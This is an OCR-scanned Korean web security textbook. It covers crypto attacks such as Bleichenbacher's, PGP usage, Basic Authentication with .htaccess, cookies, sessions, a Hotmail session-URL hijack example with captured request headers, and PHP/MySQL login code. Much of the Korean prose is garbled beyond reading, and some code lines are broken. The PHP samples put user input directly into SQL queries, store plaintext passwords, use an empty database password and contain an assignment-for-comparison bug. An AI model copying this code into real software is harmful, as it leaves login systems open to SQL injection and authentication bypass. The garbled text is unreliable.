AR AAAE LR el AR ANAE HBse

s B WARE A TR A5dtE o To] AoAE KW

H 22| (Memory)dlA 7|(key) E7|

% 11-10 © RAM °l] EA3F= bits 52 2= AF(snapshot) o]t} o 7] ol A
HY, 4L o5 YEaL, 34 15 Yekdn. 22W hdstA 26
HIE H|D7]E of7]ol A glopbd 4= Qluh. BE, 23t 7= 7hed &
doHow nhEo] H4E H2d], o] Zo] RAM 9] bits & A HA H
H, RAM ol A& diFiE 22 59 o3 10] A7) wiEol(RAM 19

1=
2 um ge fo) 43 Ao EARY) dZelr)7t G50l Ak of

o

offl T4 WS WY A gas KxES] AAAEL WA TS
T gofElz adle ARgste Alo] ofue, ameh 270w 2 vy
of A defAQl #hs WohlolM Fete JHlE Asta gk
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a8 11-10 BIEI[E YHs17] 9t AFE o =22

o] ¥AL A M= FH o] A~E(Cut-and-Paste) &Ao|g} an, o] #o T4
S T3 = e BHE HARE B o MAC oy A E wA]#] tho]
A 2~ E (message digest)E A8l H ).

oE Eo,AE B7F &3 AE 7S dvlz mjr]=A] thsir L
2o sthar sk} o] w &% AlE 2] -2 $8,000,000 ol A
$12,000,000 Alololth. 1l B 2219 97 (12341234 = <5 3}E
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$10,987,654)> ¢33}t AolA B dct. 23 A= B7F oW
e dzsteldleAl ogA &+ de7
T s ob= Abgell wisiA olekrlal] Ak sf7= B o] 2jzde]
$8,000,000 ¢l 4 $12,000,000 Alelell Hrh= AS & Ui, B7F Bl
Azarol Al F/7IRI 12341234 o oflAM dEspEvhs AREE Al
Atk 2HH oEA & 5 st F A4S B thEd 22 W ol
21t} $8,000,000 H-E $12,000,000 74 5 A o] F/N7]E A}-&5}
d5 e 3 5 B Bl testE WA ¢} vl Aotk 12|
1A= B7F AclAl o A4S Bllertel gisiA & 5 A Ak
=, A7 "2 TolA Thed AsS A9 7S AHESte] hasEtE

Fol Aelw WY Fol Ut Brh Bl E¥ $UAS vlashe] gk

The Bleichenbacher &4

PKCS#1 S RSA 7} %3t $ol|, Daniel Bleichenbacher 2}+= 3}l %5 F=}7}

H| 5 grol A= B7F53Al Azt o] % A4k Bleichenbacher 57 A] 7kl
g v EA Qtesty wAA] dE-E sidsHA HAh o] Ze TA Wy
= A7 AONY7] A e F9E] fElA WAIA] 1,000,000 ©f

g ol e, As A=HS AR R o]Flo] EUbed I
o] o}y A H<Ac}t. A=, Bleichenbacher &7 ojz} B8 o] &7 gbA
7] Y& H RSA £ PCKS#1 v19S 1% 7 =t
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Basic Athentication 2 0|28t 24

342l 797} Web Service I 4] apache ©] Basic Athentication = ©]-&

Basic Athentication & 9 A® <} ¢ Bel9-A7ke] #~= H B 7L
Base64 encoding ¥ ©] %% o] ZIt} Base64 Encoding Decoding "H -
oln] &&HA 7] Wl S AAHSHA A 71 Decoding ©] 7t
sttt Decoding & SHH AREAFS] Q15 AHIF aAws] @A Q)

oA AR Q1S HHE F8 HARES dEstE A
Aol W= ol 218 o] dastrt obd Bg oS

Fo 2 #Fste] sjES dopdl § o5 Y|Wtow HS3teto] o

BEE dob ¥ 4 Sk

11.2.2. 231F Cryptography 2| F <M 24

PKCS#1 AL82| FUX
PKCS#1 > RSA 7171 GEAAE AH&3ste] HolHE ¢&ststr] A%
FEFo|th PKCS#1 & ©] &3] wrEojx HA 5% &% F 3l SSL
Azt A 7] A AAES PSS AT fd Aotk TR
= PKCS#1 9] FHoFH S o]&3lo] SSL 53} AAol AREE &= A7)}
: SSL Ald-& Al atekrt Al
Aol Au Sof #ofsteE WS o] &ste] g ¥4 & winjr} sl
A #EaE ARy s 5 Aok 28y o] FH RS PRCS#1 & At

ot e Aol EAe= A2 oYtk

o

PIX Private Link Key # 2#&

PIX Private Link + Cisco X Jx}etr]| <o HrtHdomw Hx" 4 glo

™,DES ¢] ECB 2= ¢33td SAAds ARSste] IE U/l 1P
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T4 Fdd HEHS EA4ee BA4eA e /= <13l PIX Private Link
o] DES ¢33tE 98] A&5 & 183 7] dol7l 56bit ol 4 48bit =

s, BAAL o AGHS olgstel TAS S A 256wt

PIX Private Link 4.1.6 W A7} 4] &5 F oF3s}ty,

11.3.Cryptography Ooix|

11.3.1. PGP (Pretty Good Privacy) 2532 S8t M FoEy|

WA A9 key & WHEofoF dtt.pgp-kg BH o2 AR key & WS
o} olw] BR3AL key ol < ID ¢} password ¢! pass phrase <16 A}

F3l7) e tAED o]5S pgp & dte] HEO] Fojof i
[oIA 11.1.1] pgp -kg HH2=Z XLl key BHET|

$ pgp -kg

No configuration file found.

Pretty Good Privacy(tm) 2.6 - Public-key encryption for the
masses.

(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software.
23 May 94

Distributed by the Massachusetts Institute of Technology. Uses
RSAREF.

Export of this software may be restricted by the U.S.
government.

Current time: 1994/12/21 11:33 GMT

Pick your RSA key size:

1) 512 bits- Low commercial grade, fast but less secure
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2) 768 bits- High commercial grade, medium speed, good
security
3) 1024 bits- "Military" grade, slow, highest security

Choose 1, 2, or 3, or enter desired number of bits: 1

Generating an RSA key with a 512-bit modulus.

You need a user ID for your public key. The desired form for
this user ID is your name, followed by your E-mail address
enclosed in <angle brackets>, if you have an E-mail address.

For example: John Q. Smith 12345.6789%@compuserve.com

Enter a user ID for your public key:

o 7]ell A Ap21e] 1D BE AFE.

You need a pass phrase to protect your RSA secret key.
Your pass phrase can be any sentence or phrase and may have
many words, spaces, punctuation, or any other printable

characters.

Enter pass phrase:
Enter same pass phrase again:

Note that key generation is a lengthy process.
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We need to generate 272 random bits. This is done by measuring
the

time intervals between your keystrokes. Please enter some
random text

on your keyboard until you hear the beep:

0 * -Enough, thank you.

Lt

Key generation completed.

o)Al key AZto] v HAtk= wiAA 7} B Aol
o o] key & AHESl] st A= flolA AR Aol
lofopet a0l 7hgsiAl ®rh G EAL Eelvko] FAEL key

o ZAbgo] Ff3lEs gttt
[ 11.1.2] ctEAIRITL 3F7E key o HMZHHo|Ct.

S pgp -kxa A mykey

No configuration file found.

Pretty Good Privacy(tm) 2.6 - Public-key encryption for the
masses.

(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software.

23 May 94
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Distributed by the Massachusetts Institute of Technology. Uses
RSAREF.

Export of this software may be restricted by the U.S.
government.

Current time: 1994/12/21 11:55 GMT

Extracting from key ring: '/home/nsroh/.pgp/pubring.pgp’',

userid 5573% ID

Key for user ID: =% ID

512-bit key, Key ID FF80D269, created 1994/12/21

Transport armor file: mykey.asc

Key extracted to file 'mykey.asc'.

HE 2 mykey.ase 7} A ETH 28H o] AL Wt}
key S A4419] keyring ol E3HA| Aokt Apgo] 7Hsaith ThE Alere] 7]

g wol & the,

Apge ol

T

il

[o& 11.1.3] key & AHAI2| keyring off =Z &t

$ pgp -ka ol 7]

No configuration file found.

Pretty Good Privacy(tm) 2.6 - Public-key encryption for the
masses.

(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software.

23 May 94
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Distributed by the Massachusetts Institute of Technology. Uses
RSAREF.

Export of this software may be restricted by the U.S.
government.

Current time: 1994/12/21 12:03 GMT

Checking signatures...

Keyfile contains:

1 new key (s)

One or more of the new keys are not fully certified.

Do you want to certify any of these keys yourself (y/N)?

i
ol

SEEE!

offl

y o] Ha HAE By & w= AAS Ao key 2 &

=3} sfjoF T,

(oA 11.1.4] Ei2 = HX|E ML key 2 S35}

$ pgp -ea AA I A7)

No configuration file found.

Pretty Good Privacy(tm) 2.6 - Public-key encryption for the
masses.

(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software.
23 May 94 Distributed by the Massachusetts Institute of
Technology.

Uses RSAREF. Export of this software may be restricted by the

U.S.
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government. Current time: 1994/12/21 12:11 GMT

Recipients' public key(s) will be used to encrypt.

Key for user ID: At ID

512-bit key, Key ID 1C7CCBBD, created 1994/04/09

WARNING: Because this public key is not certified with a

trusted

signature, it is not known with high confidence that this

public key

actually belongs to: 4% 1D

Are you sure you want to use this public key (y/N)? y

Transport armor file: *.asc FE|9 sUo] AAHT}.

o)

% pgp *.asc

2

shelo] A HT.

9o Wae] B 94 olol® A HAL thEoldA BT %

e
o2,

2}3. 3t}S pass phrase & Y¥3}

encrypt & & % UT}.

o)

% pgp -c filename

¢
ol

oA o} mz7t A 2 458l St &Y (pass phrase) & Y49
filename.pgp Bt o] AAHHT.

AolA Stsst ¥ 3ds F v
% pgp filename

2 A7 ANM PP BFS AYAANE aF5w o] Yol

sde sise o

rr

% pgp -cw filename

=

)
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o]l HE A A BES M d=dtE dS Al AAAT=
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0
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ok
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o T MuENE AN TalA AR,

C2Net Software, Inc.

http://www.c2.net

Microsoft Corporation
http://www.microsoft.com/security/bulletins/ms98-002.htm
= Netscape Communications Corporation
http://help.netscape.com/products/server/ssldiscovery/index.html
* Open Market, Inc.
http://www.openmarket.com/security
= RSA Data Security, Inc.
http://www.rsa.com/rsalabs/
= SSLeay

http://www.ssleay.org/announce/
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HEHO AL

12. Access Validation

12.1.Access Validation 8| 7|2

12.1.1. Access Validation 2| 0|3}

Z7] WWW el e FRe] G819 Fhel £HL T gl A
87 Aol TG WFS T4 Gk YAMel 2A ARE BE AL

A

op

Aol A A
4590,
e

Ao = ALgALe]

HOWWW 9] 7] agiE

A=

& 2Ela F837) 7k
we}A] AF8-=}7)F ID ¢F Passwor
Al o

ASA | FaH

o

AH8-217} 1D, Password & =

o] Zg Aol &

B3 A4

. oA ¢

doz 1 4 BepeA= A

ovf AHgAE Aol 2dlske By
G e

o]¥ "rEe] Yas

5ol T3 A

AL s AT YA A

128 ALgabe] lZo] ohet 91487}

glo] gl 2
shtel Amel Al
2w Pusie)

o] AuAzy T

=
=

AUz A=&

o

A Q)
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Mo 9uaeAs 9aue A% g o

7} 38ttt

rr

Ang F4 gae 2

o] HAelA Fefelof & A2 THHAAS MNAM HE5S A 2 A
9] JjA RS} ID 2 Password 59 JNSIARE AASA BEs o &
U= Zlolth ofdl webHRl &A1& aldsty] Asir = F718 ol &3k

Wt ol Al A AlgEts tHE dFEES ARRSkeE ol Atk

T21e] dE Evhd "UAENY QlEF E(mod_auth), DBM ¢l E

rr

rr

(mod_auth_dbm), Berkeley DB %15 = & (mod_auth_db), Anonymous ¢!

-

X 5 (mod_auth_anon), Postgre-SQL ¢ 5X 5 So] 9

12.1.2. Access Validation 2| Hh4]

ofutx| WAHIE O[8E ALBXt ol

o] A& ofFtx] YA oA A PE = WA oR s A Ho A A
238k = Ut} ID ¢ Password & EsHA HH o]
ID ¢} Password & Base64 encoding 5lo] 1 Aol X|&Ho 2 AF3}H
Aok g A= o] ARE gl o] Fol AdAQ AREARe] B Eg-A
A obdAE AetA €t SAIRF kA A ShH| 2 Base64 encoding

< Y 97 decoding o] 7] wjZel A HAF HE2 2 5 glvh
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%@ Flease type vour uzer name and password,

Siter edu.hackerslab. com
Realm Secret

zer Mame |

Pazsword

Save thiz password in your pasaword list

8 12-1 AR} 215 sHH

EA o] Ao dlste] AEARISS 3F7] 9841+ htaccess, .htpasswd,

ol

htpasswd °] A|7bA] s}elo] Aasitt. o= oA YA} Al et
cAakE TEsksd # ad spdo|r ofubA] 1MW 9} htaccess,

ol

htpasswd, .htpasswd It 5] AFEA} IS Tk Aae= v 2
=3
= WEATE 548 html 41 E P oA PA M= url o] F
3l html =AM E zto} WEate] Bel-Ao] Hddsleitt html A 7}
A g vl EZ el htaccess Y-S LS}
= o}ux] A ¥ = htaccess FAS A HWH WEA7E 2
html £ & A=e7]1S W5 WA dEAelA ID ¢ das &
Tkt
= WEAEID o HEE st dEstd ofubx] A
= .htpasswd 7-9el 715 % ID o ¢t 7t WEAte] g3 dA st

=2 olslar, AX|eH WEA} oA QT E html FAE

=
.

® _htaccess 7 #HA

23}al o} "Authorization Required"¢} # o8& &3k
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4, Aol AAF SPTAE] vhe

22 U89 htaccess 2 LS WHEOIA of2~7](ASCI) EE
=

AuthName " (QZHH2o] el = H A X)) »

AuthType Basic

AuthUserFile /usr/home/loginID/public html/SHTHHEZ
/ .htpasswd

AuthGroupFile /dev/null

<Limit GET POST>

require valid-user

</Limit>
- AuthName
g B B GE dEubad] tehte WAARA, WEe
WA mHE ()R 2 Folef duk.

- Auth Type

Ol ZE}Q]e UulAd o2 Basic 0.2 dhr},

- AuthUserFile
AgA olE 2 GBS AFSHE HUT J2B QG Ao
24, dAdAZE BrEA] 919} Zo] AuiA =R gAEoF st}

- <Limit GET POST>
GET 43} POST W29 Honts 83k
- require valid-user

AFH AgAbRe] 14 gt
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® _htpasswd ¥ A4

htpasswd HDS HAx2 AAE7] el s Ao dulow A
4:5}0], htpasswd 348 A2} st tdEg oA v
2ol gt

E

admin o] gt TP Eg] helper & A}-&-AF o] 55 WHE7] fg o

blic_htm

Aot Zol I35 dHd 59, htpasswd I o] admin ] HEZ]
o] RE5ojxith. o] uf, htpasswd Ito] Sl& AEE= WEA 919
2 ZHA %k htaccess Lo A AE Aot AX| &) oF st

o Mg F7t

Cookie & 0| 2% ALEA} 2l

T A AREARRI info 2h= AREALE st HEiA =
htpasswd .htpasswd info ¢} o] 7 WA AlEAE-EH= ¢ & WL
HojFtl, 919 BAHS AXW, htpasswd Lol AL-&x} o] 53}
o}5 7} (53l wo]) xFo] Hrt oA htpasswd o] ¥EH A}
LA d fEELE AT 5 e Aolth

[A25]SSL A B AREAF A

qhok SSL AW E AF&3kal itk htpasswd o] tiAlel
sslhtpasswd 2= HHo] & Al&soF Heto] 73ale ALEE 1
E 4 oot 28]a, hipasswd & A E 4532 L sslhtpasswd
2 Y d39das A 39 gomg Fogor jiu)

ol

® Cookie 2] ©]3}
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A A7E § BEeAE 5] A ) BEkeArE §§ An oAl
AEA o e AdE ARE HAF8 FHoF ok 1A Cookie 2h= ofe]t]
o] & WA =HUArh

Cookie = 1 A7} SepolAE Soll A sE AREAFel 3 ARE &
& A2 A RA oef7hA] Algke] 9t 4,000 bytes ©]3te] o] H (5,
ZRaoly vtolel 2~ X3 & glHE AL 5 i o], fEl

AHgarel st AgEAY W neks

A 2719 A5 30070, @ Ale] AeiLh mulel F A 20 7] AE
otk ol2]& cookie & o] &3] Mujzt FetoldE o PRE Holx

i, ool 2 ARE vA] oAl fom AlgAbl Al e dte Ale

S AL Q5SS EA] A =R o F = cookie o] A S
o2 HesH AFE o] 8T 4 vk AT cookie & TS WHS
23] 528 3 4 ). 183 cookie o AHESHE WY HES A

2 OAPT 5 9 R W Ee] EA g,

cookie = QIE Yl A A= ] B Aol EN A g2 whEal
2 A41E = e gdEQdy, 2o gle gdojgta A7t o] 58 AY

WA Beke-Aoa F715 5188HA] @A wtEoiH A= Tofok 3
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® Cookie 9] 25
ojA]l F7]9 AFdeE AHEES kAL
» IR 54 APIEE BT w Babg-Ad A S Alo] Eof A
ofxell A F717F dom o] F7lo] w3k AR E url &}
A Aol ER Addgith vk 1 url 847 shAl
= FIAEE ANsta AAsta A2 e o) CGI 2R 1¥S
=

g}, ey,

2k A &ho] =3 81| Wk JavaScript & ©]-8-5}7]

]_
T8 Au B T olg3) AwSelM ARE AZaA0n
)% F3l FH¢ html BN YA 9] 2A] CCl Z2
AL B3 P8 Aol A7k A9 diiolth
- WEATF S himl BAE RelF R, HEAL HolX %A
FAYRE BAGAL A2 BB TA19 9 D YA
& Bekg A7t Sk

g ghegk o & 34 Cookie 7} oW A A-sb=A] dolE T

)

server ol A t}&-3} 7o) client 2 F7]E Hth

Set-Cookie: CUSTOMER=HELPER; path=/foo;

web browser = ©] #& A%stal vkt server ¢ /foo ©F 1 39 o E
EYE Aoy Asoz vy 22 goles HulA #u.

Cookie: CUSTOMER=HELPER

= CGI 9 A
- CGI & set-cookie & 3}7] s+ -3 Zo] 3 =},
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printf ("Set-Cookie: CUSTOMER= HELPER; path=/foo;\n");
printf ("Content-type: text/html\n\n");

printf ("< HTML >");

- browser 7} ¥F8lsl= §-7]%= HTTP_COOKIE = o] 52 37
HER AFE e

getenv ("HTTP_COOKIE") == "CUSTOMER= HELPER "

- o o] AHIH F getenvO)E FIIHES deF AUtk
= Javascript °l| A
- Javascript ° A1 document.cookie Z}= WSrol]l F717F A
t}. set-cookie & 934 = o] Wgo| F71E diYdstH =™ Wb
e F7)% o] W] AAET
= Servlet o A]
- Servlet ] 7-9- SUN €] JSDK(Java Servlet Development Kit) &
ol gstH HA F7IE o] & AUtk

- javax.servlet.http.Cookie Class = F7]|& 9|35}l

- javax.servlet.http.HttpServletResponse.addCookie() = set-cookie

= slAA o]olﬂ

- javax.servlet.http.HttpServletRequest.getCookies) = F7|& A
AT

S
=

N

ol

Session £ 0| 2%t AIEX} @l

® Session ¢ ©] 3|
Session = Cookie & 7|5& 738l Sy e ), <A Ay =

Cookie == Cookie ] AW E 253} AH Y cookie o S A= HAT o
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# BT U Ao HEA =
Aol A3 B k-4 9] A K (Session)=
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 BeeA7E 4 Mo H&ehd Fx230 A= Session 7k 7HAA
Har §) Aujolk Al o] Session gk= 7FAIL A ®Th ofwf ARE-A}7E
login & A =W AW 5L Session o tfgk #3ke] login §+ user
= Hsko] #r

0

olel g WA ol gatw

u AHge] ARS 9

1717} Session #2 2 535ld et AlgAke] 4

at7l= et

off
ol

_llﬂ
rr

® Session ¢ ZEYY

oAl AHe] AEAeE ARER §A,

- ZepoldET} ol Ze Aol FEe w A WUAHE Ay
o] ZeholAEA AETH E2S AM MUANE Anl 2o 23)
stol AL§ATL ST Bac
o},

- P8R ol Z Aol de] AdatY Fetol =T} B B
QA AR UARE Aulsd] 288 A% upEA gou
A2 AU 22 29Y Fh,

- 2Tl AET} Az Az FEdte] ] ARG FAshe
292 A of © Al Aulst AZAH| 20 o sl
QFERIel met ofeltish a9t L AFHE ARS T3
A Fd e

E
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12.2.Access Validation & 2FM
12.2.1. Fdlo| 2H|el7I?

WWW ol Me| ALZAL 215

HTTP/1.0 ¥ HTTP/1.1 A= 7]E2Q1 Mt 215 W S 24 Basic

h=|
Protection Scheme(©]3} basic scheme)S A|ASFaL Qo thi-Eo] A
W7t o] & A Ystal Sl
Basic scheme & U#ED @92 HZA0]3L(ACL)S Fo a3 tdE
219 AYS A wjnrltt Client ol Al username ¥} password & 8.3}
il °o]& ACL ¥ H|lusle] H+S QlFshe #2 o]t Client & AF&-AH7F

QAT e FAS] T ACLS A A9 FEA AT} T

olegt AT WA JAEFHY A&l F7h4el =gy glo

_

% A
S2 HAS Aes4= 9121 login connection ©] A &A 0 2 (L3 A<

gglol) HAHTE F3le] S W et e BARS s

e
mlo

o UeEe whele HEATE GuAsuo] Ras Wirwsle W
A#} 2ol7h 9]

o HgAte M JFREMS ARAW AEA BFS FRIA Yt

4 A% F A8 Hd 4uE @] A8 wEe) DBUAS
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A g st} o] A Alex AHE DB ACLY =
A7F A
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r
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p‘L
rir
M

Basic scheme S ©]-&3}# &3l DBl AlgA ots ¥ B7F AHE Ay
kil CGLE o] &3] Al8A H: HES AASHE HHS AT &

Aot o] -l et ge EAHel ok,

32,
ftlo

CGI 2 login AA}FE 3t ¥ login connection ©] #| & X =10} =,
o2 2ol HtekE i thA] login 3PAY login A HE 95 85}
HAFo o gt

o HE A9¢S CGI e = AlFsor g

JEZHY Al2glo] gif-i DB 9 <I5d 21S 13stH CGl Fe2 A
S AFshe A2 o2y &7 gk Yot} Basic scheme & ©]-83 7§

o= F7FAQ0 ALEAF JRE DBollA dojetor 3t Ao CGIE E7}

login connection ol #3 4|32 HTTP COOKIE £ 3]Z2¥ 4 it}

HTTP COOKIE & 0| &%t ¢21&

HTTP COOKIE = o4 Client 2] JElE F# 5}

rr

Ferg A

ol

®

3

login connection < Client ©] Ej¢] s }= ZthH HTTP COOKIE & ©|

F Ak ALg ARE B

o

-3l login connection & F+#8t= adE ¢

3 o),

® (lient = o] AETY A A8 Yo HEdunir) 252 oz A}
|4 AR #1715 A= AUFA A
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netscape_ HOME/users/DefaultUser/cookies.txt
= IE 2] 7% :c:\windows\cookies files
Y HE Fo1ke] Aol Rl 9% 32 olsdE Bl F7)4u
g ofogel meo] oa WMle bsRE AYIse] 298 2w 9

AgA AF T HES Bee T Fzel oJala o] Fold 4 gtk

- FAE AW gl o mEEEAIYE $)7h 2EEe) 9
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UnkA © 2 Qutlook ¢4} Internet Explorer o] A Th=2= w2 B 91¢
2 Mol AFE = o] HFH2 HTML S 4 whol AFst=s=
e Al4] <ol A ¥ 12 -& "Internet Zone" H.OFG Hol| o]af HEAH
A5k AN el A7gE 39U "Internet Zone" Rt} HQFY H o] =3
"Local Computer Zone"oll 2]3}o] SAF 22 Alx®lol] o] & 4= 3t}
"Local Computer Zone"ell #%¥ HTML o] Jsizp A|2glol gl <
ole] mlS Gl At FAA= 9] BdE B A dnh =3

o) Aok vhE Ak} Aol TAAY e AzHAA ]9
FEE AP ¢ AR o
o Aoky WAl

»  Microsoft Outlook Express 4.0
*  Microsoft Outlook Express 4.01
*=  Microsoft Outlook Express 5.0
*  Microsoft Outlook Express 5.01
=  Microsoft Outlook 98

=  Microsoft Outlook 2000
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URL AH Y FIHHE o] &3le] FAs AL #4788 Ay
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- 2Us¥YS olgste] 71 IDE bt

- 2USYE o) gate] AL§AZ S URLS Uofultt.
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http://207.82.250.251/cgi-bin/start/centerpoint?

disk=207.82.250.154_d735&login=shin_hoon&f=33793&curmbox=ACTIVE
&dEst=cs

c Y O |10 %]
IO B NP KOANG Lomeskor S8R
=

JSouwn L R0 A A PV P e Pt o Y o 1 (1 O R et o TR 2 T o) T T (7 T =

i .k P g & it 8B

ctns qm 44N NOE g MANDIEN 2

-
I You Ever Forgot Your Password. ..
B pou Sver 1orget Jour SEEEwOrd, ¥ vou haw 8 HIrd, you can
USe OUr Nire SUDMANC DasTword refieval festure, loCa%ed on
B Login pege. To £61 & Hint, 90 % ®w Pagawird pege and
choose a Hnt Ouesson and Answes
Hrouking News | maane |
fews GOP, Democrals Bichar deer SMing pam.
reldsrn Lonmerce Wak Syeet cheers Mr. Greenapan mes
1-2g ' how SRGIS Sosh has 2 HR 10 %0 Mac 10f lead gan
e Jng Souh Nr'r.; rovival o
R g‘; '.‘]:7: PC matkat seen up _ﬁ—un. ot 0 79 pam
Losreong Government by humdaton mes
Speclal Offers from Our Sponsors | atrers |
» Your Hemindurs Try Slate maguzine FALE
Dent aget imperser .
-'-'a': 433 faxintel Sign up now for your
dally e*mall, T HEL!
+ Hotmall Foaturen b :
Flad, ln l-'l "uln
Mail me moce info!l |
Looking for Something? Search the Web e
—_—
» Hotmail Options Soyrh bos imeen
s Subscribe 1 Hotmall WebCourler | wedcsnnee | 5
3
i e
r;") 3 Grestngs Spor Fan mater whast
AT Your Lvoehe Sp0n in, MS . il
luoc YOu Up-10-Gate with dady iInformaton. So
schedules, and commentary rom he MSNSC Sports e wil
be debvered drecty 0 your In—Box
—Subacribe_| Al
Discaver the Microsofl Network —— =l
=& L8 :
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YEECH At &

[ 2] t]23 714 o|A] 22 Hotmail URL FH

file:///C|/Program Files/Netscape/Users/kadosu/Cache/MUSAEIGH

<tr><td colspan=2 align="center" valign="middle"><a
href="/cgi-bin/start/centerpoint?
disk=207.82.250.154 d735&login=shin hoon&f=33793&curmbox=ACTIV

E&dEst=cs" onmouseover="window.status='shin hoon@hotmail.com';

return true;" onmouseout="window.status=''; return true;"

target="_ top"><img
src="http://209.1.112.251/hotmail logo inset.gif" width=82

height=69 border=0 hspace=0 vspace=4

alt="shin hoon@hotmail.com"></a>

</td></tr>
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Referer: http://207.82.250.251/cgi-bin/menu?

disk=207.82.250.154 d735&login=shin hoon&f=33793&curmbox=ACTIV
E

Connection: Keep-Alive

User-Agent: Mozilla/4.03 [ko] (WinNT; I)

Host: 207.82.250.251

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeqg,

* [ *

Accept-Language: ko

Accept-Charset: EUC-KR,*,utf-8

Cookie: ID=6341c098765d7431
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Date: Thu, 24 Sep 1998 06:28:36 GMT
Server: Apache/1.2.1

Set-Cookie: ID=6341c098765d7431; path=/;
Connection: close

Content-Type: text/html

IWO BEED 2AY) SOARG) Cememusicws SRR

lI(D BIE WNY HOAAG Lommencatsr SEFTE
CETEED L | N S S W A S NS AN o) =

d “od ? & & & £ 0

|G E 4 RBEN 5N NS WANKEN 2

YRC) (RS ] PN )

We're Sorry, We Cannot
Process Your Request

Feasson:  Logaed out, Please relogin
(Gt more ko reqanding o Messaqes here)

Retumn to Heimall's Homepage.

O h IV ———— AL gtey ieeerved
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12.3.Access Validation Of|A|
12.3.1. olmx| M2} MySQL 2 0|28t ALK} 2IF
ol ] |

MySQL & ©]83F A}-82} <15 (User Authentication)< t}-3} o] 3ht},
MB] = 2AHEC] Header() 35 AREsHHA A Hol]xe=
"Authentication Required" HWA A& Z&}o]AE Bep-A o BuUA =i
gy E3] B AR )l disdAE A A

o714 AR&A7E ofold, k55 YA HW ZH7; $PHP_AUTH_USER,
$PHP_AUTH_PW W S=ol Eoj7[A HaL, o] S 7FA] a2 MySQL il
SQL &5 o= WHoR TS AgetA "k

Auta o7 ALE-% = olubx] o] 7]E <lZ W (htaccess, .htpasswd 3}

& olgsh)e B AL 54 dYELY e 42 A 7

_ﬁ
A

A S o] 1T § 44 b doAR dArA & F= Uve
el Atk

Fost He AREAL Q1T 752 PHP 7} ofulx| BER Eolzd wolgt
7bsetm] Wr=A] PHP 23 HEZE AlY A gl vepef ghrk= Zlelth

F2 AHEsE W authine U wE wHEo] <Fo] Bad ol

<?php

include "auth.inc";
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mysgl> use test;
Database changed
mysqgl> create table member (
-> id char(10) NOT NULL PRIMARY KEY,
-> passwd char (10),
-> name char (10),
-> level int
=> )

Query OK, 0 rows affected (0.04 sec)

!

ru

ARE AT AEAE 529

M

mysgl> insert into member values ('littleprince','12345','%

|2}, 3) ;

Query OK, 1 row affected (0.01 sec)

.

test DB o] t}F2-3} 7Z+o] member @} A&} Ho|ELS WHET

1

oL

1>
>~

=

mysqgl> insert into member values('userl','userl','?}ﬂ*}%ﬁq

", 2) ¢

Query OK, 1 row affected (0.00 sec)

mysgl> insert into member values ('guest', 'guest', '7l

Query OK, 1 row affected (0.00 sec)

mysql>

ZET,1)¢
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o2 dolEulo] 2ol Q1Fe] Wad AHEAE WolTa SR AFS
A% Aol E AAFL A theat 2 AF e oS4t ek
o,

Flease type vour uzer name and password,

Site: edu.hackerslab. com
Frealm Secret

zer Mame |

Pazaword

Save thiz password in your pasaword list

Age G5S dom QFo] o|FoAA e PO Folih

m

auth.inc & L&

cfunction authenticate() {

Header ( "WWW-authenticate: basic realm=\"BBS ADMIN F\"");
Header ( "HTTP/1.0 401 Unauthorized");

Stitle = "Invalid Login";

if (!isset (SPHP AUTH USER)) {

authenticate () ;
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} else {
mysgl pconnect('', 'mysgl',''"') or die("Unable to connect to
SQL server");
mysqgl select db("test") or die("Unable to select
database") ;
Sresult = mysql query("select name, level from member where
id = '$PHP_AUTH_USER' and passwd='$PHP_AUTH_PW'");
if (!mysgl num rows (Sresult))
{
authenticate () ;

}

else

Suserinfo = mysqgl fetch array(Sresult);

?>

auth.html (£ auth.php3)

<?

include "./auth.inc";

2>

<HTML>

<HEAD>

<TITLE> AF&A} Q1% oA </TITLE>

</HEAD>
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<BODY bgcolor=#2b4577 text=white link=blue vlink=purple

alink=red>

<?
Susername = Suserinfo[0];
Suserlevel = Suserinfol[l];
echo( " <script> window.alert ('9JA A& Susername ')
location.href="levelSuserlevel.html'
</script>
")
?>
</BODY>
</HTML>

12.3.2. Cookie 2} MySQL 2 0[&¢5t ALEX} 25
AMEX} Cfo|EF F=H|

$4 MySQL DB ol AHg7 id 9} sl =)= B A5zt Sof glojof gl

el A ARG AL dloletg Yeehu

ID PASSWD NAME LEVEL
Littleprince 12345 HAALZ AL
Userl Userl AAALZ AL
guest guest HAE
Ty
® authphp: 7] W55 EAsA T o F-E 7He]a AF(ZL)e]
| A9 219l B AR Fu
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® test.html: <HTML> <F F-3Ho] AF&x} ¢1=
auth.php 2| W2

<?php
if( $login != "submit" )

{

s

// oteltiel MU E Pt E.
echo "<CENTER><form action=S$PHP SELF method=post>\n
<input type=hidden name=login value=submit>\n
o] Ho]XE HAHWH AR} B01S WA JFAof 3t} . <br><br>\n
<table>
<tr><td>id :</td><td><input type=text
name=id></td></tr>\n
<tr><td>password :</td><td><input type=password

name=passwd></td></tr>\n

<tr><td colspan=2><input type=submit value==I19]

></td></tr>\n
</table>
</form>\n</CENTER>
}
else

/) ololt]el MW s 2 flo|ehw o] U9 ofolt] HH T} W] wEHT},
$hOSt_name = nn,

Suser name = "mysql";
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Suser password = "";
$db_name = "test";
Stable = "member";
Sconnect =

mysqgl connect (Shost name, Suser name, Suser password) or
message (mysql error());
mysql select db($Sdb name, S$connect);
Sque = "SELECT * FROM Stable WHERE id='S$id' and passwd
='Spasswd'";
$result =mysqgl query ($que, $Sconnect) ;
$list=mysql fetch array(Sresult);
/%
if (!$list) {
echo " <script>
window.alert ('EAEA g+ otolt} Lot} ) ;
history.go (-1)
</script>";

exit;

*/
// id ¢ pwd AT ok !
if (($list) AND (S$1list["id"] == $id) AND (S$Slist["passwd"]
== Spasswd)) {
Spasswd= S$list["passwd"];
$id= $list["id"];
setcookie ("loginfo[state]", "LoginOK",0,"/");

setcookie ("loginfo[id]", $list["id"],0,"/");
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test.html

<?php

if($HTTP_COOKIE_VARS[loginfo]["state"] = "LoginOK") {
include

SDOCUMENT ROOT."/lab/php/auth/cookie/test/auth.php";

exit;

2>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>

<HEAD>

<TITLE> login.html </TITLE>

</HEAD>

<BODY BGCOLOR="#FFFFFF">

<table align="center" border="1">

<tr><td colspan="2">

<?php if (SHTTP_COOKIE VARS[loginfo] ["state"] == "LoginOK")
{ echo "2712 E"; } else { echo "ZIL o} Aej"; }2>
</td></tr>

